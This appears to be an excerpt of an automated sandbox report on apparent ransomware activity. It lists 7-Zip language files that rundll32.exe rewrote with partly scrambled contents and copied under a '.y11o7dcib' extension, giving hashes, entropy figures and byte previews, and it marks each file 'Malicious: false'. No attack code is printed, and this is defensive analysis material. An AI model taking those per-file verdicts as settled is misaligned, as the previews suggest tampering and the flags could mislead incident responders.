Preview:	..A.?n_e.g....JCiVRV...\|..MI.;D=..cw.7.@5.G............H.3a4>..;..;..;..0..7-Zip..Romanian..Rom.n...401..Bine..Anulare........&Da..&Nu..&.nchide..Ajutor....&Continu...440..Da, pe &toate..v{..w.fj.l..g.l`...>..9....Ld..3R..I....^....^..bl..h..7.n...D$..&Pauz....n pauz...E.ti sigur c. vrei s. anulezi?..500..&Fi.ier..&Editeaz...&Vizualizeaz...F&avorite..&Unelte..&Ajutor5W..#."(e..@.z`Id7>g..5..X..'.\|..oe...K.o......O.o\|.....r._i..ez...&Editeaz...&Redenume.te..&Copiaz. la.....&Mut. la......ter&ge...mparte &fi.ierul.....&Une.te fi.ierele.....&ProprQ8.v..ma...E.p#0..2a.......Td..3Re.z..J]....[..Ml....O.z._.D$ director..Creaz. fi.ier..&Ie.ire..600..&Selecteaz. tot..&Deselecteaz. tot..&Inverseaz. selec.ia..Selecteaz......DeselecL8...=B..M.{f0..!.j.8.....u....Ns.r.ML...A.R.[}o\|;..5..[.5..Iconi.e m&ari..Iconi.e m&ici..&List...&Detalii..730..Nesortat..Vedere plan...&2 panouri..Bare de &unelte..Deschide directoruT}.v.J..i.....P*N.2b..\|...PKt.\|..yb.e.

C:\Program Files\7-Zip\Lang\ro.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7887
Entropy (8bit):	6.633828288686029
Encrypted:	false
SSDEEP:	192:aWVUvY7Ae16kMlPwmd6SKB6Scs3Ggoff/s1YVuL2/K4S:nMYkKMlYmd43BofShSw
MD5:	391FC7F9515DCDA38E02E1CA1EDD1D1A
SHA1:	065B314E7BE37C90D6A0C8C402D5514975D48E13
SHA-256:	9BFD757788D5ABBC9015738B17286466029E36B4AC4D51B2A48B285AFBE924C8
SHA-512:	C7E0A7EC8984CA025EF458068E7A0131F61373CCFE10C889C1B6CB238C177EB014A10E1EAEB04A0DAC317F82426CADE44919BDF3EEFAE4DAB2D645DB9BD0278E
Malicious:	false
Preview:	..A.?n_e.g....JCiVRV...\|..MI.;D=..cw.7.@5.G............H.3a4>..;..;..;..0..7-Zip..Romanian..Rom.n...401..Bine..Anulare........&Da..&Nu..&.nchide..Ajutor....&Continu...440..Da, pe &toate..v{..w.fj.l..g.l`...>..9....Ld..3R..I....^....^..bl..h..7.n...D$..&Pauz....n pauz...E.ti sigur c. vrei s. anulezi?..500..&Fi.ier..&Editeaz...&Vizualizeaz...F&avorite..&Unelte..&Ajutor5W..#."(e..@.z`Id7>g..5..X..'.\|..oe...K.o......O.o\|.....r._i..ez...&Editeaz...&Redenume.te..&Copiaz. la.....&Mut. la......ter&ge...mparte &fi.ierul.....&Une.te fi.ierele.....&ProprQ8.v..ma...E.p#0..2a.......Td..3Re.z..J]....[..Ml....O.z._.D$ director..Creaz. fi.ier..&Ie.ire..600..&Selecteaz. tot..&Deselecteaz. tot..&Inverseaz. selec.ia..Selecteaz......DeselecL8...=B..M.{f0..!.j.8.....u....Ns.r.ML...A.R.[}o\|;..5..[.5..Iconi.e m&ari..Iconi.e m&ici..&List...&Detalii..730..Nesortat..Vedere plan...&2 panouri..Bare de &unelte..Deschide directoruT}.v.J..i.....P*N.2b..\|...PKt.\|..yb.e.

C:\Program Files\7-Zip\Lang\ru.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15680
Entropy (8bit):	6.109559097212587
Encrypted:	false
SSDEEP:	192:lCFVNmClq/U6h7EKRWV0BZRPcbisEoue+QMHO8oK8rjlk5KHUV/zSwVb9+jDUWLk:II/h7EK59PcuDOMHOasjuFl+by6eT
MD5:	B2B3C0D6128CD414EBCEDD5BE49F468F
SHA1:	A54771EA83C6F6A033E4DD45A40187BA436B45A1
SHA-256:	2008C9A14FC0191074802784CE4D872FD1BDC1229BDBE67716E0621C4B60A94B
SHA-512:	4D3B07B65D824A460FB10FE88FF6034954103DEB564C5E67FE86B48E2EA2530D7C27A6A8F72BC592A0A83CE0BABDC66062CD7702BC23A9ED3BF2B3C901F884E2
Malicious:	false
Preview:	O.?tqk...t5.....Gj...qg.1..Mt...:..H+\.=#..}.Q)".b.f.>V...o.....;..;..;..;..;..;..;..0..7-Zip..Russian...........401..OK................&....&.....&.............q.Q.]!.d...._.P..3...K.a..z^....<....._X.Z./.<.m.:...W.T.1. ... .&.......................&.......&.. ........ ......&......... .......p.Q.p...t...^.P..2(..H.o.,.........._..:..j.;.l.=..T.V.s^.......?..500..&......&........&.....&............&.......&.........540..&......q..E..b....B.......z...".2T@...)9....._...2...)...Q.?..T...2sX............&....................&..........&.......... ......&..........q......@..!.._.P..3.......1........._.9^g.e.5:.'.9...W.U)0....... .............&............&...................... ..................P.c....r....J.$3...I.`......n[..

C:\Program Files\7-Zip\Lang\ru.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15680
Entropy (8bit):	6.109559097212587
Encrypted:	false
SSDEEP:	192:lCFVNmClq/U6h7EKRWV0BZRPcbisEoue+QMHO8oK8rjlk5KHUV/zSwVb9+jDUWLk:II/h7EK59PcuDOMHOasjuFl+by6eT
MD5:	B2B3C0D6128CD414EBCEDD5BE49F468F
SHA1:	A54771EA83C6F6A033E4DD45A40187BA436B45A1
SHA-256:	2008C9A14FC0191074802784CE4D872FD1BDC1229BDBE67716E0621C4B60A94B
SHA-512:	4D3B07B65D824A460FB10FE88FF6034954103DEB564C5E67FE86B48E2EA2530D7C27A6A8F72BC592A0A83CE0BABDC66062CD7702BC23A9ED3BF2B3C901F884E2
Malicious:	false
Preview:	O.?tqk...t5.....Gj...qg.1..Mt...:..H+\.=#..}.Q)".b.f.>V...o.....;..;..;..;..;..;..;..0..7-Zip..Russian...........401..OK................&....&.....&.............q.Q.]!.d...._.P..3...K.a..z^....<....._X.Z./.<.m.:...W.T.1. ... .&.......................&.......&.. ........ ......&......... .......p.Q.p...t...^.P..2(..H.o.,.........._..:..j.;.l.=..T.V.s^.......?..500..&......&........&.....&............&.......&.........540..&......q..E..b....B.......z...".2T@...)9....._...2...)...Q.?..T...2sX............&....................&..........&.......... ......&..........q......@..!.._.P..3.......1........._.9^g.e.5:.'.9...W.U)0....... .............&............&...................... ..................P.c....r....J.$3...I.`......n[..

C:\Program Files\7-Zip\Lang\sa.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19552
Entropy (8bit):	5.86474696808803
Encrypted:	false
SSDEEP:	384:qBU/zte0zsDloe/8gJjtttWwfhPC0slErM5qtRN5vxzOKoksnIhj:q6DYucbh0IfvxcnAj
MD5:	B7FB7C733A06D8203D99B86FB156BDCE
SHA1:	A3EF98B3D316DFE6F9DF15E8EFEBEAD443981C44
SHA-256:	6E430084B86A5415CA4F9724A2C3C115F47B7E1873009F360B707A192F095EFD
SHA-512:	769DD9560CCA8BA1044734064940E50FBC110FE8DE0BB53C0562D118028264EC2CC9152D8777F9CC7E79048009A91842B3B38AED95A69757286DD621D1828F03
Malicious:	false
Preview:	Q.......Tj.N.{....I......X........j..!,5.......j&.#.7Ri..#... .... .......;..;..;..;..;..;..;..;..;..;..0..7-Zip..Sanskrit, Indian, ............<..o+m[@.4...A.+..s%.G..8...o.....5...S..........j.....-..g...........&.....&....&... ..............&.... .....440..&..........6oq..,Uk ..h.o>Q6....N..n..<....p.Q.bH^T..... .P[n....sC#A.B... .... ......&............&........(.........)..&.....9op6.,d..T.h....r..G....6..QL.A..].&R...^..V.j./.7Ri........ .... ..... ... ....... .... ..... ....?..500..&......+=5.Jhq.'.=,.7zETF.IF_.^r...@..Kp.t4...........j8...7Ii...>&..........&........&.......540..&.........&.... .........x..5.Hhp..N.,....r#.G....6..QM..A4.]..

C:\Program Files\7-Zip\Lang\sa.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19552
Entropy (8bit):	5.86474696808803
Encrypted:	false
SSDEEP:	384:qBU/zte0zsDloe/8gJjtttWwfhPC0slErM5qtRN5vxzOKoksnIhj:q6DYucbh0IfvxcnAj
MD5:	B7FB7C733A06D8203D99B86FB156BDCE
SHA1:	A3EF98B3D316DFE6F9DF15E8EFEBEAD443981C44
SHA-256:	6E430084B86A5415CA4F9724A2C3C115F47B7E1873009F360B707A192F095EFD
SHA-512:	769DD9560CCA8BA1044734064940E50FBC110FE8DE0BB53C0562D118028264EC2CC9152D8777F9CC7E79048009A91842B3B38AED95A69757286DD621D1828F03
Malicious:	false
Preview:	Q.......Tj.N.{....I......X........j..!,5.......j&.#.7Ri..#... .... .......;..;..;..;..;..;..;..;..;..;..0..7-Zip..Sanskrit, Indian, ............<..o+m[@.4...A.+..s%.G..8...o.....5...S..........j.....-..g...........&.....&....&... ..............&.... .....440..&..........6oq..,Uk ..h.o>Q6....N..n..<....p.Q.bH^T..... .P[n....sC#A.B... .... ......&............&........(.........)..&.....9op6.,d..T.h....r..G....6..QL.A..].&R...^..V.j./.7Ri........ .... ..... ... ....... .... ..... ....?..500..&......+=5.Jhq.'.=,.7zETF.IF_.^r...@..Kp.t4...........j8...7Ii...>&..........&........&.......540..&.........&.... .........x..5.Hhp..N.,....r#.G....6..QM..A4.]..

C:\Program Files\7-Zip\Lang\si.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19515
Entropy (8bit):	5.996521948914798
Encrypted:	false
SSDEEP:	384:+2j7VmPJn3FVi1mJqDwpHyS4sZlkAd8U7H5gbppop7rTY2MlKoz5TcSVGd7oX52W:/Vmp5Jq8HyS4Ad8umrG2ltBU7QuQ2j3y
MD5:	EB543060F651A439A31920E53EAF034C
SHA1:	2642EFEAB4126E8F99723C76DFE6B81613DEA6BA
SHA-256:	24EDD1EAE63FB0A39E9073BD3479CA7982A6EF18078BF2832E9AEBA3FEBD8210
SHA-512:	00BC636F235569F287E78500324C5CE28EFDFE944FE83515F4837188768A1E3E45C3560B428BE2F178BEE582C3953B2EAAE4F8367B44458408D39DB66E6C2657
Malicious:	false
Preview:	.........NZ]1N.Z..k.._.s...ss......#.^....^\|+a9.....)e...(~n... (Supun Budhajeewa)..; 15.00 : ..... ..... (HelaBasa Group)..;..;..;..;..;..;..;..;..;..0..7-Zip..SinzQmR..>'_.........\|../K.l..\|....'..UuwHl.....vA.[...N.]..m_....&.....&......&...............&.........440..&........ ......../>&f.........\|.=....rI\|.......UuwHX.....fA.h...N.x.....~o.. ........&...........&...........&...................T.^pjP.......k..j.$N'......_wHn.....[A.Z......e...~o........?..500..&.......&..........&........&............9.]h(<Z........r.j.r.{$N...+....r...YAvW^\|!.n.L...~K....~n.......&..... ..... .......&....... ..... .......&......>'V...v.C...\|.=..=.N....\|.....

C:\Program Files\7-Zip\Lang\si.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19515
Entropy (8bit):	5.996521948914798
Encrypted:	false
SSDEEP:	384:+2j7VmPJn3FVi1mJqDwpHyS4sZlkAd8U7H5gbppop7rTY2MlKoz5TcSVGd7oX52W:/Vmp5Jq8HyS4Ad8umrG2ltBU7QuQ2j3y
MD5:	EB543060F651A439A31920E53EAF034C
SHA1:	2642EFEAB4126E8F99723C76DFE6B81613DEA6BA
SHA-256:	24EDD1EAE63FB0A39E9073BD3479CA7982A6EF18078BF2832E9AEBA3FEBD8210
SHA-512:	00BC636F235569F287E78500324C5CE28EFDFE944FE83515F4837188768A1E3E45C3560B428BE2F178BEE582C3953B2EAAE4F8367B44458408D39DB66E6C2657
Malicious:	false
Preview:	.........NZ]1N.Z..k.._.s...ss......#.^....^\|+a9.....)e...(~n... (Supun Budhajeewa)..; 15.00 : ..... ..... (HelaBasa Group)..;..;..;..;..;..;..;..;..;..0..7-Zip..SinzQmR..>'_.........\|../K.l..\|....'..UuwHl.....vA.[...N.]..m_....&.....&......&...............&.........440..&........ ......../>&f.........\|.=....rI\|.......UuwHX.....fA.h...N.x.....~o.. ........&...........&...........&...................T.^pjP.......k..j.$N'......_wHn.....[A.Z......e...~o........?..500..&.......&..........&........&............9.]h(<Z........r.j.r.{$N...+....r...YAvW^\|!.n.L...~K....~n.......&..... ..... .......&....... ..... .......&......>'V...v.C...\|.=..=.N....\|.....

C:\Program Files\7-Zip\Lang\sk.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	9686
Entropy (8bit):	6.823410299696526
Encrypted:	false
SSDEEP:	192:CB5xmu3aDv7JizTw8qvmNhxqrboyGVCUjMMqGS:UbaDvVizTwtvmNhEgyMqx
MD5:	2DDB3CA74A53E2057AE90F5A17C6D3DB
SHA1:	1E51F58CD4D150D369486B07DF04C4559DA7F9C6
SHA-256:	0AE79E353E72F57E57B14163CD010E6CB9DAD8479D97EFDF8DEFC09DB568E279
SHA-512:	0628CA4E277E1BAEA3AB8B30109F34FDC4176146C1793480A9730D1C214AD7A5105E16EFC5B01B6EED62483FBED7B18126CFB6C3BCA9266B3C3724B5CCF8C7E1
Malicious:	false
Preview:	(.MO..y#d..........Y..........m....NQ.&.dM.....[m%...5&.u..Eeve.ka..; 9.38 beta : 2015-01-11 : Roman Horv.th..;..;..;..;..;..;..;..;..0..7-Zip..Slovak..Sloven.ina..401..OK..Zru.i........~...,e.+.....s5l@..$%.....V..B....F.GG....K.;}.7...B....p.no na &v.etko..Nie na v.&etko..Zastavi...Re.tartova...&Pozadie..P&opredie..Po&zastavi...Pozastaven...Ste si ist., .e chc...T.V+.R[..9N.WH.Y......J..V...Q;u.*h~.......6y..B.{.._.w..ben...&N.stroje..&Pomocn.k..540..&Otvori...O&tvori. vn.tri..Ot&vori. externe..&Zobrazi...&Upravi...&Premenova...&Kop.jy.....bn......L'o\..$%.......Q.v.9.F..q..);-...\|.0.c..cor.....Zl..&i. s.bory.....V&lastnosti..Ko&ment.r..Vypo..ta. kontroln. s..et..Rozdiel (Diff)..Vytvori. prie.inok..Vyt.d..zg.1..C.......:..}D......C..zd3.{..g.........h&p......ezna.i. v.etko..Invertova. ozna.enie..Ozna.i......Odzna.i......Ozna.i. pod.a typu..Odzna.i. pod.a typu..700..&Ve.k.....[;.x...,T..B;tK.........4....w.)

C:\Program Files\7-Zip\Lang\sk.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	9686
Entropy (8bit):	6.823410299696526
Encrypted:	false
SSDEEP:	192:CB5xmu3aDv7JizTw8qvmNhxqrboyGVCUjMMqGS:UbaDvVizTwtvmNhEgyMqx
MD5:	2DDB3CA74A53E2057AE90F5A17C6D3DB
SHA1:	1E51F58CD4D150D369486B07DF04C4559DA7F9C6
SHA-256:	0AE79E353E72F57E57B14163CD010E6CB9DAD8479D97EFDF8DEFC09DB568E279
SHA-512:	0628CA4E277E1BAEA3AB8B30109F34FDC4176146C1793480A9730D1C214AD7A5105E16EFC5B01B6EED62483FBED7B18126CFB6C3BCA9266B3C3724B5CCF8C7E1
Malicious:	false
Preview:	(.MO..y#d..........Y..........m....NQ.&.dM.....[m%...5&.u..Eeve.ka..; 9.38 beta : 2015-01-11 : Roman Horv.th..;..;..;..;..;..;..;..;..0..7-Zip..Slovak..Sloven.ina..401..OK..Zru.i........~...,e.+.....s5l@..$%.....V..B....F.GG....K.;}.7...B....p.no na &v.etko..Nie na v.&etko..Zastavi...Re.tartova...&Pozadie..P&opredie..Po&zastavi...Pozastaven...Ste si ist., .e chc...T.V+.R[..9N.WH.Y......J..V...Q;u.*h~.......6y..B.{.._.w..ben...&N.stroje..&Pomocn.k..540..&Otvori...O&tvori. vn.tri..Ot&vori. externe..&Zobrazi...&Upravi...&Premenova...&Kop.jy.....bn......L'o\..$%.......Q.v.9.F..q..);-...\|.0.c..cor.....Zl..&i. s.bory.....V&lastnosti..Ko&ment.r..Vypo..ta. kontroln. s..et..Rozdiel (Diff)..Vytvori. prie.inok..Vyt.d..zg.1..C.......:..}D......C..zd3.{..g.........h&p......ezna.i. v.etko..Invertova. ozna.enie..Ozna.i......Odzna.i......Ozna.i. pod.a typu..Odzna.i. pod.a typu..700..&Ve.k.....[;.x...,T..B;tK.........4....w.)

C:\Program Files\7-Zip\Lang\sl.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9235
Entropy (8bit):	6.631003647713144
Encrypted:	false
SSDEEP:	192:pxLCcULMlAtcIxoIJlKuQqh1mYjqF89cD4riq1Ts+fVsPBWeuemTFZ1kUS:8LM+Pvx9r64rhJe7mf1u
MD5:	4874EFEEA539D1CA5969D3B1B53A3D54
SHA1:	2EE81B8E23D606F4E91311E213050C86B7F8C05D
SHA-256:	322FC7E851AD72F4EFFABD3A347C7B4C3EB0B015D258511FA3D8D600A16E0994
SHA-512:	50735002C59BA5E9B4E9567813961EC66295C43190885E7C6CA47FDD8DAB7FB6A0BBCF1991144C303379E34F4093A5DEEA68795F48B81435E936F841C6D82A3A
Malicious:	false
Preview:	-..;...9.....1M}..-.u....d..;.3.k...`..G..~.Q.Pd...l.....n;..;..;..;..;..;..;..;..0..7-Zip..Slovenian..Sloven..ina..401..Vredu..Prekli.i........&Da..&Ne..&Zapri..Po&mo.....&Nadaljuj....0...9..yc.4..mO....4..N08.....w.V3..8..G..v..Q../O..@.....+spredje..Premor..Na premoru..Ali ste prepri.ani, da .elite preklicati?..500..Datoteka..Urejanje..&Prikaz..Priljubljene..Orodja.=.o..w..-w.O.Q/!..N._...O<....d.s.14..3.......^../P........1redi..Prei&menuj..&Kopiraj.....&Premakni.....Iz&bri.i..&Razdeli datoteko.....&Zdru.i datoteke.....L&astnosti..Ko&mentar..Izra.OB.a..*..b6.,.W.6..H._...Q<^...^.u.:K.:........I..L .........n&Izhod..Povezava..&Nadomestni tokovi..600..Izberi &vse..Razveljavi izbiro vseh..&Preobrni izbor..Izberi.....Razveljavi izbiro....=.z...1..wc.0...H..F.#...\#\...i.s.{I.!.....;R....V.........e..&Majhne ikone..&Seznam..&Podrobnosti..730..Nerazvr..eno..Ploski prikaz..&Dve podokni..&Orodne vrstice..Odpri korensko mapo..r.o......8-.4...7.}.:...T;T...{./.V3..

C:\Program Files\7-Zip\Lang\sl.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9235
Entropy (8bit):	6.631003647713144
Encrypted:	false
SSDEEP:	192:pxLCcULMlAtcIxoIJlKuQqh1mYjqF89cD4riq1Ts+fVsPBWeuemTFZ1kUS:8LM+Pvx9r64rhJe7mf1u
MD5:	4874EFEEA539D1CA5969D3B1B53A3D54
SHA1:	2EE81B8E23D606F4E91311E213050C86B7F8C05D
SHA-256:	322FC7E851AD72F4EFFABD3A347C7B4C3EB0B015D258511FA3D8D600A16E0994
SHA-512:	50735002C59BA5E9B4E9567813961EC66295C43190885E7C6CA47FDD8DAB7FB6A0BBCF1991144C303379E34F4093A5DEEA68795F48B81435E936F841C6D82A3A
Malicious:	false
Preview:	-..;...9.....1M}..-.u....d..;.3.k...`..G..~.Q.Pd...l.....n;..;..;..;..;..;..;..;..0..7-Zip..Slovenian..Sloven..ina..401..Vredu..Prekli.i........&Da..&Ne..&Zapri..Po&mo.....&Nadaljuj....0...9..yc.4..mO....4..N08.....w.V3..8..G..v..Q../O..@.....+spredje..Premor..Na premoru..Ali ste prepri.ani, da .elite preklicati?..500..Datoteka..Urejanje..&Prikaz..Priljubljene..Orodja.=.o..w..-w.O.Q/!..N._...O<....d.s.14..3.......^../P........1redi..Prei&menuj..&Kopiraj.....&Premakni.....Iz&bri.i..&Razdeli datoteko.....&Zdru.i datoteke.....L&astnosti..Ko&mentar..Izra.OB.a..*..b6.,.W.6..H._...Q<^...^.u.:K.:........I..L .........n&Izhod..Povezava..&Nadomestni tokovi..600..Izberi &vse..Razveljavi izbiro vseh..&Preobrni izbor..Izberi.....Razveljavi izbiro....=.z...1..wc.0...H..F.#...\#\...i.s.{I.!.....;R....V.........e..&Majhne ikone..&Seznam..&Podrobnosti..730..Nerazvr..eno..Ploski prikaz..&Dve podokni..&Orodne vrstice..Odpri korensko mapo..r.o......8-.4...7.}.:...T;T...{./.V3..

C:\Program Files\7-Zip\Lang\sq.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SysEx File -
Category:	dropped
Size (bytes):	6297
Entropy (8bit):	6.669991918779019
Encrypted:	false
SSDEEP:	192:ialFFtL1g5SgzTI/XetXC967F7kBti+Ko3S:TFFtY7z0eRC967F7kjC
MD5:	DFB7D5CB83FA2A9B2079B8D301EB70F2
SHA1:	6F5EE4C191F2E151ADDD23AEC2A4E81A53FFF0C7
SHA-256:	50381B7D387AF4E9DA7B476207F532192305682FE278F28494D2992C7D26E650
SHA-512:	78B30917A477D75D42A12FB0A856D233B0E796BB78B1E9F31BE1C76F1E4A74984703634D4E9D6B7CECCE6666430D1BCA4E19D6D9B3B0B69EAFB971024871FFDB
Malicious:	false
Preview:	.S.Xt.Tk..i}%......5..Ua.p..X........(....?x.)xf...........e....;..;..;..0..7-Zip..Albanian..Shqip..401..N. rregull..Anulim........&Po..&Jo..&Mbyll..Ndihm.....&Vazhdim..440..Po p.r t. gjik.;.X.Re..v[%RN..R.S)..I..L2....?:.h..c.P%....~L..p.N.... par...&Pushim..N. pushim..Jeni t. sigurt se d.shironi ta anuloni?..500..&Skedari..&Redaktimi..&Pamja..&T. parap.lqyerit..;50.tk.Q.J.8.._.2..EL...o.......;...6['..I#......Y.o.....&Pamja..&Redakto..Ri&em.rto..&Kopjo tek.....&Zhvendos tek.....&Fshi..N&daj skedarin.....Kom&bino skedar.t.....&Vetit...Ko&meq.tn_.te..)Tp["..S.....a..1..K4....[C...zZc.I........9.n.....j. skedar..&Dil..600..S&elekto t. gjith....se&lekto t. gjith...Anasill selekti&min..Selekto......selekto.....Selekto sipal.i.%.l..T.Na.4..Q.K..2....-W....."...0A.s.e.......z.s....M. &vogla..&List...&Detaje..730..&T. parenditur..Pamje e rrafsht...&2 panele..&Shiritat e veglave..Hap dosjen rr.nj...Nj. nv.x.u....:Op....v.K..(..c...O.....xD.

C:\Program Files\7-Zip\Lang\sq.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SysEx File -
Category:	dropped
Size (bytes):	6297
Entropy (8bit):	6.669991918779019
Encrypted:	false
SSDEEP:	192:ialFFtL1g5SgzTI/XetXC967F7kBti+Ko3S:TFFtY7z0eRC967F7kjC
MD5:	DFB7D5CB83FA2A9B2079B8D301EB70F2
SHA1:	6F5EE4C191F2E151ADDD23AEC2A4E81A53FFF0C7
SHA-256:	50381B7D387AF4E9DA7B476207F532192305682FE278F28494D2992C7D26E650
SHA-512:	78B30917A477D75D42A12FB0A856D233B0E796BB78B1E9F31BE1C76F1E4A74984703634D4E9D6B7CECCE6666430D1BCA4E19D6D9B3B0B69EAFB971024871FFDB
Malicious:	false
Preview:	.S.Xt.Tk..i}%......5..Ua.p..X........(....?x.)xf...........e....;..;..;..0..7-Zip..Albanian..Shqip..401..N. rregull..Anulim........&Po..&Jo..&Mbyll..Ndihm.....&Vazhdim..440..Po p.r t. gjik.;.X.Re..v[%RN..R.S)..I..L2....?:.h..c.P%....~L..p.N.... par...&Pushim..N. pushim..Jeni t. sigurt se d.shironi ta anuloni?..500..&Skedari..&Redaktimi..&Pamja..&T. parap.lqyerit..;50.tk.Q.J.8.._.2..EL...o.......;...6['..I#......Y.o.....&Pamja..&Redakto..Ri&em.rto..&Kopjo tek.....&Zhvendos tek.....&Fshi..N&daj skedarin.....Kom&bino skedar.t.....&Vetit...Ko&meq.tn_.te..)Tp["..S.....a..1..K4....[C...zZc.I........9.n.....j. skedar..&Dil..600..S&elekto t. gjith....se&lekto t. gjith...Anasill selekti&min..Selekto......selekto.....Selekto sipal.i.%.l..T.Na.4..Q.K..2....-W....."...0A.s.e.......z.s....M. &vogla..&List...&Detaje..730..&T. parenditur..Pamje e rrafsht...&2 panele..&Shiritat e veglave..Hap dosjen rr.nj...Nj. nv.x.u....:Op....v.K..(..c...O.....xD.

C:\Program Files\7-Zip\Lang\sr-spc.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12307
Entropy (8bit):	6.094333202564598
Encrypted:	false
SSDEEP:	384:hkSZqQpw3T3XwX9G9DZsLV6/TUJttu4M+:hkFQpwjgtqGgKttx
MD5:	96CD8C7957CDFCF9BF32DB56CCA318AF
SHA1:	C065EED67440734C3631BD555345A5609B2AA764
SHA-256:	8574DDA76947D3ED4AD66646FB09E2F998ABA7519EDF34154A5CB4890E8B84B6
SHA-512:	F6D0A605978786CEDCE5260F0D979173056DB4AE939FB09C49D7DB49E860C9BBF322B0D92FAE54D153306993992411F1DDB41AFE1936DFC54FA82C8CBF775C39
Malicious:	false
Preview:	..5..;-}`....w.....Q...CN.\...[....3o....@.........X^k....$..);..;..;..;..;..;..0..7-Zip..Serbian - Cyrillic........ - ..........401... ...........................B./......!.a.1>..{.h....Is.....B.....\|:.b{....._..J..{.)G........ .. ................................ ...................... .. ... ...ZL.......B..U.9.B.4b..e..8=...o......_.....)dgc>..k].?..#.'.....................................................540.................. ..ZO.LLFg..!.]U....f.d....HP.).........F:.cI.D...l..&...y'............................................... .............. ............_EZ`......AO.....".\|.mM@.q.8)(....O....K:.bw.D....._..J....a&........................... ........ ....................... ............4/...<...JN.1.X.B.4m..c..8?(....`3o..

C:\Program Files\7-Zip\Lang\sr-spc.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12307
Entropy (8bit):	6.094333202564598
Encrypted:	false
SSDEEP:	384:hkSZqQpw3T3XwX9G9DZsLV6/TUJttu4M+:hkFQpwjgtqGgKttx
MD5:	96CD8C7957CDFCF9BF32DB56CCA318AF
SHA1:	C065EED67440734C3631BD555345A5609B2AA764
SHA-256:	8574DDA76947D3ED4AD66646FB09E2F998ABA7519EDF34154A5CB4890E8B84B6
SHA-512:	F6D0A605978786CEDCE5260F0D979173056DB4AE939FB09C49D7DB49E860C9BBF322B0D92FAE54D153306993992411F1DDB41AFE1936DFC54FA82C8CBF775C39
Malicious:	false
Preview:	..5..;-}`....w.....Q...CN.\...[....3o....@.........X^k....$..);..;..;..;..;..;..0..7-Zip..Serbian - Cyrillic........ - ..........401... ...........................B./......!.a.1>..{.h....Is.....B.....\|:.b{....._..J..{.)G........ .. ................................ ...................... .. ... ...ZL.......B..U.9.B.4b..e..8=...o......_.....)dgc>..k].?..#.'.....................................................540.................. ..ZO.LLFg..!.]U....f.d....HP.).........F:.cI.D...l..&...y'............................................... .............. ............_EZ`......AO.....".\|.mM@.q.8)(....O....K:.bw.D....._..J....a&........................... ........ ....................... ............4/...<...JN.1.X.B.4m..c..8?(....`3o..

C:\Program Files\7-Zip\Lang\sr-spl.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7483
Entropy (8bit):	6.714156171566344
Encrypted:	false
SSDEEP:	192:mrjE1yOD8MHz6IkxFZEgRS2978IBNDOV9oObeNs8mfuYUZbrWXfS:CEv8ZZpXTEobkuJnWXK
MD5:	D86E353867A0ECEBDE1D495A61BEA125
SHA1:	C12C8C9999DEA963644F684DF3864F9567B2DAD1
SHA-256:	FB6286D51A0A6569435D527A98B9B7B268440EA5A4BF1750BC8FD624C182CA18
SHA-512:	0E7B3C56177F8025B6E88538096174438EC1C32DD98B7FB7622464ED69100DD229230AC9E4CD57008DD64097180A475209D8C5AC821FB2CAFF6FE195C59A3778
Malicious:	false
Preview:	.9p9.4.U......}R.n6X..P......\<.N..U.d......u.F..+.q..9\|2...;..;..;..;..;..;..0..7-Zip..Serbian - Latin..Srpski - latinica..401..U redu..Otka.i........Da..Ne..Zatvori..Pomo.....Nastavi..x....0.....-...11.oA3...........>...0.+....C.+.g.....[..w\|2..za..Pauza..Da li ste sigurni da .elite da prekinete?..500..Datoteka..Ure.ivanje..Pregled..Omiljeno..Alati..Pomo...540..Pogled-......[...-....%.?.=..z..x...\......;.1b7..V.o.{..#....R.]..daj..Promeni..Preimenuj..Kopiraj u.....Premesti u.....Obri.i..Podeli fajl.....Spoj delove.....Svojstva..Komentar..Izra.unajte <.t...A...2.,[R..B1 .....o..........<./..w.9.)..-......8B....600..Izaberi sve..Poni.ti izbor svega..Obrnuti izbor..Izaberi.....Poni.ti izbor.....Izaberi po tipu..Poni.ti izbor po tipu.F..2.~._..S...K..*_<.....i...}.g...>.I....X.%.....r.q..".W..ranja..Ravan pregled..2 Prozora..Trake sa alatkama..Otvori po.etnu fasciklu..Gore za jedan nivo..Hronologija.....Osve.avanje..{....&.P..~...R.."Z_....}....@...2.I

C:\Program Files\7-Zip\Lang\sr-spl.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7483
Entropy (8bit):	6.714156171566344
Encrypted:	false
SSDEEP:	192:mrjE1yOD8MHz6IkxFZEgRS2978IBNDOV9oObeNs8mfuYUZbrWXfS:CEv8ZZpXTEobkuJnWXK
MD5:	D86E353867A0ECEBDE1D495A61BEA125
SHA1:	C12C8C9999DEA963644F684DF3864F9567B2DAD1
SHA-256:	FB6286D51A0A6569435D527A98B9B7B268440EA5A4BF1750BC8FD624C182CA18
